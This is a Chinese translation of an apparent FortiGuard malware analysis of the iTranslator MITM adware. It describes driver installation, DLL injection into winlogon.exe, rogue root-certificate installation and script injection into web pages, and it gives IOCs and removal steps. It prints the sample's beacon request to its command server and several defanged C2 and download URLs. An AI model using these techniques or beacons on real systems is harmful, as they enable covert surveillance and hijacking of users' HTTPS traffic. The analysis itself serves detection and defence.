深入分析基于驱动的MITM恶意软件:iTranslator

一、前言

FortiGuard实验室研究团队最近捕获到一个恶意软件样本,这个EXE文件带有一个无效的证书签名。一旦受害者打开exe文件,恶意软件就会安装两个驱动,控制受害者的Windows系统,同时监控受害者使用浏览器的互联网活动规律。

在本文中,我将详细分析恶意软件如何在受害者系统上安装驱动、驱动的工作方式以及恶意软件的具体功能。

 

二、执行恶意软件样本

本次捕获的样本文件名为itranslator_02.exe。在实际攻击活动中,恶意软件使用了多个不同的名称,包括itransppa.exeitranslator20041_se.exeSetup.exe以及itransVes.exe。样本文件经过证书签名,证书的过期时间为2015年5月16日。该证书由VeriSign Class 3 Code Signing 2010 CA颁发给Beijing ******** Technology Ltd(这里我隐去了公司的名称),序列号为0A 00 5D 2E 2B CD 41 37 16 82 17 D8 C7 27 74 7C。样本的数字证书信息如图1所示:

图1. 恶意软件使用了已过期的证书

itranslator_02.exe运行时,会在program-data目录(在我的测试环境中,该目录为C:\ProgramData)中创建名为itranslator的一个新目录,然后将名为wintrans.exe的一个新文件释放到该目录中。使用参数P002启动wintrans.exe后,itranslator_02.exe的任务就此完成。这里使用的命令行字符串为:C:\ProgramData\itranslator\wintrans.exe P002,恶意软件将P002作为GUID来使用,并在恶意攻击活动中利用该值与C&C服务器通信。

 

三、安装驱动组件

顺利接管itranslator_02.exe的工作后,wintrans.exe会下载其他恶意组件并安装到受害者的Windows系统中,然后在受害者系统上安装驱动,我们来看驱动安装过程。

图2. 创建驱动服务“iTranslatorSvc”

恶意软件创建了一个线程来执行该操作:首先调用两个Windows系统API来创建驱动服务,相关API为OpenSCManagerA以及CreateServiceA。驱动名为iTranslatorSvc,该名称为CreateServiceA API的一个参数。

利用这种方式,恶意软件调用CreateServiceA API为新的驱动服务创建一个新的注册表键值。该样本创建的注册表键值为:HKLM\SYSTEM\CurrentControlSet\services\iTranslatorSvc

新创建驱动的启动(Start)类型最开始时会被恶意软件设置为2(对应的就是AUTO_START),随后再被修改为1(对应的是SYSTEM_START)。这样每当系统启动时都会启用该驱动。我们通过IDA Pro分析了驱动的创建过程,如图2所示。

接下来,wintrans.exe会将名为iTranslator的一个文件释放到Windows目录中(在我的测试环境中该目录为C:\Windows\),该文件已事先内嵌在wintrans.exe文件的BIN资源区中。释放文件的伪代码如图3所示。

图3. 从资源区中提取iTranslator文件

大家可能已经猜到,iTranslator也是一个Windows驱动文件,调用CreateServiceA时使用了该文件的完整路径以便创建iTranslatorSvc

iTranslator文件经过VMProtect加壳保护,该文件同样带有一个无效的证书签名(证书已于2015年5月12日过期)。签名方为Nanjing ********* Technology Co.,Ltd,序列号为73 dc b1 a0 35 15 bb 63 9b f3 1e cd 5f 98 ff 24iTranslator文件的属性信息如图4所示,我们也使用PE工具分析了加壳信息。

图4. iTranslator属性及加壳信息

随后恶意软件使用P002创建GUID值,并且使用受害者的硬件信息生成十六进制值来创建MachineCode键,这些值都保存在HKLM\SYSTEM\CurrentControlSet\services\iTranslatorSvc这个子键中。注册表中的相关数据如图5所示:

图5. iTranslatorSvc注册表信息

此后,恶意软件继续调用StartServiceA,立刻运行恶意驱动。为了向大家展示恶意驱动程序在受害者计算机上的运行过程,接下来我会以操作系统启动为起点,从头开始梳理整个过程,这也是加载驱动的正常方式。

 

四、下载其他组件

一旦安装完毕,恶意软件会在某个线程函数中尝试下载一个DLL模块。相应的HTTP请求及响应数据如图6所示:

图6. 下载DLL文件

在URI中,uid=为机器代码,v=为恶意软件当前版本(这里的版本为1.0.0),x=为受害者的Windows架构(32位或者64位)。在头部数据中,UID: P002为恶意软件的GUID。在响应报文中,恶意软件会返回最新的版本信息以及下载链接。在本文样本中,最新的版本为1.0.7版,下载链接为hxxp://gl.immereeako.info/files/upgrade/32/iTranslator.dll(然而在分析该恶意软件的过程中,最新版本更新到了1.0.8版,下载链接也变为hxxp://dl.shalleeatt.info/ufiles/32x/iTranslator.dll)。

恶意软件随后会下载DLL文件,将其保存为同一个目录(即C:\ProgramData\itranslator\)下的wintrans.exe。根据我的分析,下载的文件iTranslator.dll可能是这款恶意软件的主模块,其执行的部分任务列表如下:

1、提取并加载一个网络过滤器驱动;

2、与其他驱动交换数据;

3、在未经受害者许可的情况下,将SSL证书以可信根证书形式安装到浏览器中;

4、监控受害者浏览器的互联网访问数据包。

有趣的是,下载的文件并不仅仅是一个DLL文件,而是一个文件容器,其资源区中包含许多其他文件,这些文件随后会释放到受害者的本地目录中。下载的iTranslator.dll可以在首次安装时由wintrans.exe加载运行,也可以在Windows系统启动时由winlogon.exe负责加载及运行,而后者由iTranslatorSvc驱动负责加载。我会在下文的驱动启动部分详细介绍这个过程。

恶意软件同时也会在系统注册表的HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion路径中记录最新的版本信息,其中iVersion代表最新版本号,本文成稿时该版本号为1.0.8

 

五、通知攻击者

wintrans.exe的最后一个任务是将受害者的系统信息发送到攻击者的服务器,发送的报文格式如下所示:

GET /in.php?type=is&ch=P002&mc=07********************93&os=Windows7(6.1)&t=1435127837&m=08****0****E HTTP/1.1

UID: P002

MC: 078********************3

User-Agent: ITRANSLATOR

Host: tk.immereeako.info

URL中的ch=以及头部中的UID为GUID P002;URL中的mc=以及头部中的MC为受害者系统的机器码;os=为受害者的操作系统版本;t=为当前Windows的安装日期,该信息来自于系统注册表中,恶意软件使用了Unix格式时间,即从1970年1月1日以来的秒数;m为受害者的网络MAC地址。

我将原始报文中的敏感信息以*号来代替,该报文用来通知攻击者恶意软件已在Windows系统上安装完毕。

 

六、在Windows启动过程中加载恶意驱动

Windows系统启动过程中会加载iTranslatorSvc驱动,从现在开始我会详细介绍恶意软件的工作流程。

恶意驱动文件路径为C:\Windows\iTranslator,经过VMProtect v2.0.7加壳保护,存在多个导出函数,如图7所示。

图7. iTranslatorSvc驱动的导出函数

该驱动由nt!IopLoadDriver负责加载。当VMProtect加壳器的代码执行后,会还原出驱动的DriverEntry函数,我们可以进入该函数继续分析。

驱动首先会从系统的注册表中读取GUID以及MachineCode,将这些信息保存在全局变量中,然后将Start值设置为1,即SYSTEM_START。接下来恶意软件会为该驱动创建一个设备对象\\Device\\iTranslatorCtrl以及一个符号链接\\DosDevices\\iTranlatorCtrl,这样运行在ring 3的恶意软件就可以通过\\\\.\\iTranslatorCtrl访问驱动。随后恶意驱动会设置一些dispatch(分发)函数,就像其他驱动一样。在IRP_MJ_DEVICE_CONTROL分发函数中,驱动只会返回来自于全局变量的GUID以及MachineCode值。

 

七、在系统线程中设置回调函数

最后,恶意驱动会调用nt!PsCreateSystemThread API创建一个系统线程,线程函数同样经过VMProtect加壳器的保护。受VMProtect保护的系统线程函数代码片段如图8所示。恶意驱动中的所有API调用都通过这种方式经过加壳保护,如图8所示:

图8. 经过VMProtect加壳保护的代码片段

系统线程启动时首先会从内存中释放文件,文件的完整路径为C:\Windows\System32\iTranslator.dll,然后调用nt!PsSetLoadImageNotifyRoutine API来设置镜像加载回调函数。MSDN对该API的描述为:“PsSetLoadImageNotifyRoutine例程用来注册由驱动提供的一个回调函数,以便当镜像加载(或映射到内存中)时获得相关通知”。这意味着每当镜像(或者EXE文件)开始加载时,镜像就会被挂起,驱动中的回调函数就会被另一个API(即nt!PsCallImageNotifyRoutines)所调用。此时,iTranslatorSvc驱动就可以读取镜像的整个进程信息,通过修改进程信息来影响进程的执行流程。

让我们回到驱动中的这个回调函数上,分析该函数的具体功能。当该函数被调用时,会检查进程名是否为winlogon.exe,如果满足该条件,则驱动就会找到该进程的映射内存,然后在内存中重建Import Directory Table(IDT表),将恶意DLL C:\Windows\System32\iTranslator.dll加到该表末尾处。IDT表中同样包含该进程所需的某些模块数据(比如Kernel32.dllUser32.dll)。IDT表中每个模块的数据占用14H个字节。

重建的IDT表如图9所示,恶意软件需要修改导入表(Import Table)表项在PE数据目录表(Data Directory Table)中的偏移来重建IDT表。随后,一旦winlogon.exe恢复执行,就会像加载其他正常DLL那样加载这个恶意的DLL。

图9. 重建IDT表

为什么恶意软件使用的是winlogon.exe?这是属于Windows登录管理器的一个进程,可以处理登录及注销过程。如果该进程被终止,则用户会从系统中注销。换句话说,除非Windows系统关闭,否则该进程将始终处于运行状态。

恶意驱动还会继续设置另一个镜像加载回调函数。根据我的分析,该函数用来检查镜像是否为特定的浏览器,如iexplore.exefirefox.exe或者chrome.exe。如果匹配成功,驱动就会查找相关的进程信息块,向其命令行中添加hxxp://go.microsoft.com/?69157参数。完成该操作后,当浏览器启动时就会先访问hxxp://go.microsoft.com/?69157这个网址。IE启动时情况如图10所示,其命令行末尾已附加了hxxp://go.microsoft.com/?69157这个URL。

图10. IE使用hxxp://go.microsoft.com/?69157参数

实际上,受害者的浏览器并没有真正访问过该URL,该URL的作用更像是一个开关标志。随后,恶意软件会提取并加载另一个驱动来监控受害者的网络活动,然后中断请求,指向hxxp://go.microsoft.com/?69157,然后执行不同的任务。下文我们将分析这方面内容。

恶意驱动同样会在系统线程函数中调用nt! CmRegisterCallback来设置注册表回调函数,在驱动级别过滤注册表调用。根据我的分析,这个回调函数对微软Edge浏览器比较关注。

iTranslatorSvc驱动同样会保护系统注册表中相关路径(即HKLM\SYSTEM\CurrentControlSet\services\iTranslatorSvc)的访问权限。当我们使用注册表编辑器访问该路径时,会看到一个错误提示消息,如图11所示。

图11. 受驱动保护的iTranslatorSvc注册表项

 

八、当winlogon.exe恢复运行

前面我提到过,当winlogon.exe恢复运行时,会加载C:\Windows\System32\iTranslator.dll,该文件来自于iTranslatorSvc驱动,整个过程如前文所述。System32目录下的iTranslator.dll同样经过VMProtect v.2.07加壳保护。

根据我的分析,该程序的主要目的是加载C:\ProgramData\itranslator目录中的itranslator.dll模块(该文件由前文提到过的wintrans.exe下载)。随后,如果C&C服务器上存在更新版本的itranslator.dll,则恶意软件会尝试更新,这与wintrans.exe的功能类似。到目前为止,该DLL文件的最新版本为1.0.8

恶意软件的文件名可能会让大家有点困惑,这里存在两个相似的文件名。一个来自于iTranslatorSvc驱动,路径为C:\Windows\System32\iTranslator.dll,另一个从C&C服务器下载,路径为C:\ProgramData\itranslator\itranslator.dll。在下文中,为了区分这两个文件,我将C:\Windows\System32\iTranslator.dll标记为extracted-iTranslator.dll,将C:\ProgramData\itranslator\itranslator.dll标记为downloaded-itranslator.dll

downloaded-itranslator.dll为该恶意软件的主模块,可以由wintrans.exe以及winlogon.exe加载执行。在winlogon.exe进程中,downloaded-itranslator.dll会被手动加载到0x10000000这个内存位置。根据该文件PE结构中的数据定义,该进程会矫正数据以便正常执行。最后,进程会调用downloaded-itranslator.dll的入口函数。至此extracted-iTranslator.dll的任务已圆满完成。

 

九、启动downloaded-itranslator.dll

恶意软件首先通过iTranslatorSvc驱动获取GUID以及MachineCode的值,并将其保存到全局变量中。在下一步中,恶意软件会创建一个线程,从C&C服务器获取C&C服务器URL的更新列表。通过这种方法,这款恶意软件可以使用多个不同的C&C服务器啦执行不同的任务。hxxp://ask.excedese.xyz/这个服务器保存了两个C&C服务器URL,对应的报文内容如图12所示。

图12. 更新C&C服务器URL

响应报文中包含JSON格式的两个新的URL,分别为immereeako.info以及search.bulletiz.info,这些地址会保存到两个全局变量中,以便后续使用。

前面我提到过,downloaded-itranslator.dll文件其实是一个容器,其资源区中包含许多文件,这些文件会被释放到本地不同的目录中,这些文件如下表所示:

此外,恶意软件也会从内存中释放出C:\Windows\SSL\Sample CA 2.cer这个文件。

 

十、中间人攻击

根据我的分析,释放出来的所有文件都用于在受害者系统上执行中间人攻击

iNetfilterSvc文件是另一个驱动程序,其名称为NetfilterSvc,其实是NetFilter SDK这个商业项目的一个实例。该驱动是一个框架。用来透明过滤Windows系统中通过网络传输的数据包。释放出来的Sample CA 2.cer是一个根证书,会以可信根证书颁发机构形式安装到Firefox以及Windows系统中(针对IE和Chrome)。这对隐蔽执行中间人攻击是非常有必要的一个操作。通过这种方法,受害者浏览器中用于SSL保护通信的所有证书其实都由Sample CA 2.cer签发,由于Sample CA 2.cer已经位于可信根证书颁发机构列表中,因此浏览器不会向用户告警。

攻击者会使用C:\Windows\nss中的所有文件来控制Firefox浏览器。C:\Windows\nss\certutil.exe文件用来将Sample CA 2.cer安装到Firefox中。使用调试器来分析certutil.exe时如图13所示。

图13. certutil.exe安装Sample CA 2.cer

在图14中,我们可以看到Sample CA 2.cer已安装到Mozilla Firefox以及Microsoft IE的可信根证书颁发机构列表中。

图14. Sample CA 2.cer安装到Mozilla Firefox以及Microsoft IE中

downloaded-itranslator.dll模块的主要功能是释放iNetfilterSvc模块,运行该模块(顺便提一句,C:\Windows\iNetfilterSvc在加载后会被立刻删除),安装Sample CA 2.cer,然后与iTranslatorSvcNetfilterSvc这两个驱动通信。通过这种方法,恶意软件可以监控受害者在所有主流浏览器上的活动。

恶意软件继续创建NetfilterSvc驱动的一个驱动句柄(\\.\CtrlSMNetfilterSvc),以便与该驱动交换数据,然后将相关协议注册到NetfilterSvc,这样当捕获相关协议的数据时,驱动就可以调用回调函数。大家可以访问Netfilter SDK的官方网站,了解详细信息。从图15中,我们可以看到恶意软件注册HTTP协议(80端口)以及HTTPS协议(443端口)的代码片段。

图15. 注册待过滤的协议到NetfilterSvc

图16. 协议回调函数代码片段

大家是否还记得,当受害者启动IE时,iTranslatorSvc中的镜像加载回调函数就会被调用,随后就会将hxxp://go.microsoft.com/?69157附加到IE的命令行参数中。IE发送HTTP请求报文,该报文会被NetfilterSvc驱动捕获。与此同时,downloaded-itranslator.dll中的协议回调函数就会被调用。一个回调函数的代码片段如图16所示,恶意软件会检查所请求的URL是否为hxxp://go.microsoft.com/?69157,如果满足该条件,则发送一个通知报文到C&C服务器,然后受害者已打开浏览器。

使用Fiddler捕捉到的通知报文如图17所示。请求的URL中包含P002以及MachineCode。C&C服务器返回的数据中包含Location: hxxps://www.google.com信息,该信息最终会发送回IE,而IE会向受害者显示Google网站。因此,受害者系统其实不会真正去访问hxxp://go.microsoft.com/?69157这个URL。

图17. 通知C&C服务器浏览器已打开

对于浏览器中的其他请求(包括HTTP以及HTTPS数据),恶意软件可以通过中间人攻击方法修改数据包的内容。恶意软件会在每个响应数据包的末尾插入一小段JavaScript代码。这段JavaScript代码在早期流程中生成,包含C&C服务器URL以及MachineCode。当浏览器收到响应数据时,就会执行已插入的JavaScript代码,执行更多恶意操作。到目前为止,这段JavaScript代码只会从C&C服务器上下载其他JS文件。被修改过的hxxps://www.google.com页面源码如图18所示,尾部包含已插入的JavaScript代码。

图18. 插入google.com响应报文的JavaScript代码

大家可能会注意到,当JavaScript代码运行时,会从hxxps://cdn.immereeako.info/pa.min.js处下载一个脚本并在受害者的浏览器中运行。

不幸的是,我的测试主机并没有安装微软的Edge浏览器,但我认为恶意软件的攻击方法同样适用于Edge浏览器。

 

十一、JavaScript代码分析

当受害者浏览器加载hxxps://cdn.immereeako.info/pa.min.js时,就会往C&C服务器发送一个HTTP请求,如下图所示:

请求报文中包含MachineCode以及从受害者浏览器中收集到的一些数据(比如受害者正在访问的当前URL地址,本次测试中该地址为hxxps://www.facebook.com)。

URL中的pacb_jlcmurby4cp95是一个带有随机名的回调函数,该函数由pa.min.js负责生成。C&C服务器端会在响应报文中用到该名称。某个响应报文如下图所示:

body中的红色高亮部分为JavaScript代码,其中使用了对象参数来调用pacb_jlcmurby4cp95函数。在回调函数中,脚本会处理该参数,在当前页面上添加鼠标单击事件(例如:hxxp://www.facebook.com)。当鼠标单击事件在受害者当前访问的页面中触发时,脚本会创建一个新的标签页,然后访问响应数据包中的URL(这里的URL为hxxp://www.onclickbright.com/jump/next.php?r=20*****&sub1=pa,我用*号隐去了一些信息)。根据我的研究,访问该URL会让受害者看到一个广告页面。受害者在Microsoft IE及Google Chrome浏览器中看到的广告页面如图19所示。

图19. 推送给受害者的多个广告页面

 

十二、感染流程

为了更好地理解这款恶意软件的整体感染流程,我梳理了一个简单的流程图,如图20所示。

图20. 简要版感染流程图

 

十三、解决方案

FortiGuard反病毒服务已经公布了检测该样本的特征:W32/Itranslator.FE45!tr,此外,FortiGuard Webfilter服务已经将相关URL标识为“恶意网站”。

如果想删除这款恶意软件,可以重启主机并进入按全模式,然后执行如下操作:

1、删除%WINDIR%\iTranslator文件;

2、删除%WINDIR%\nss以及%WINDIR%\SSL目录;

3、删除%WINDIR%\system32\iTranslator.dll文件;

4、删除%ProgramData%\itranslator目录;

5、删除HKLM\SYSTEM\CurrentControlSet\services\iTranslatorSvc注册表键值;

6、删除HKLM\SYSTEM\CurrentControlSet\services\NetfilterSvc注册表键值;

7、删除所有浏览器中的Sample CA 2证书。

 

十四、IOC

URL

hxxp://s3.amazonaws.com/dl.itranslator.info/
hxxps://cdn.immereeako.info/pa.min.js
hxxp://tk.immereeako.info/in.php
hxxp://ask.excedese.xyz/i.php
hxxp://gl.immereeako.info/files/upgrade/32/iTranslator.dll
hxxp://dl.shalleeatt.info/ufiles/32x/iTranslator.dll

样本SHA-256哈希

itranslator_02.exe
B73D436D7741F50D29764367CBECC4EE67412230FF0D66B7D1D0E4D26983824D

wintrans.exe
67B45AE63C4E995D3B26FE7E61554AD1A1537EEEE09AAB9409D5894C74C87D03

iTranslator(驱动)
E2BD952812DB5A6BBC330CC5C9438FC57637760066B9012FC06A8E591A1667F3

downloaded-itranslator.dll(1.0.7版)
C4EDE5E84043AB1432319D74D7A0713225D276600220D0ED5AAEB0B4B7CE36CD

downloaded-itranslator.dll(1.0.8版)
873825400FFF2B398ABF397F5A913A45FBD181654F20FBBE7665C239B7A2E8F5

 

十五、参考资料

NetFilter SDK:http://netfiltersdk.com/index.html

中间人攻击:https://en.wikipedia.org/wiki/Man-in-the-middle_attack

(完)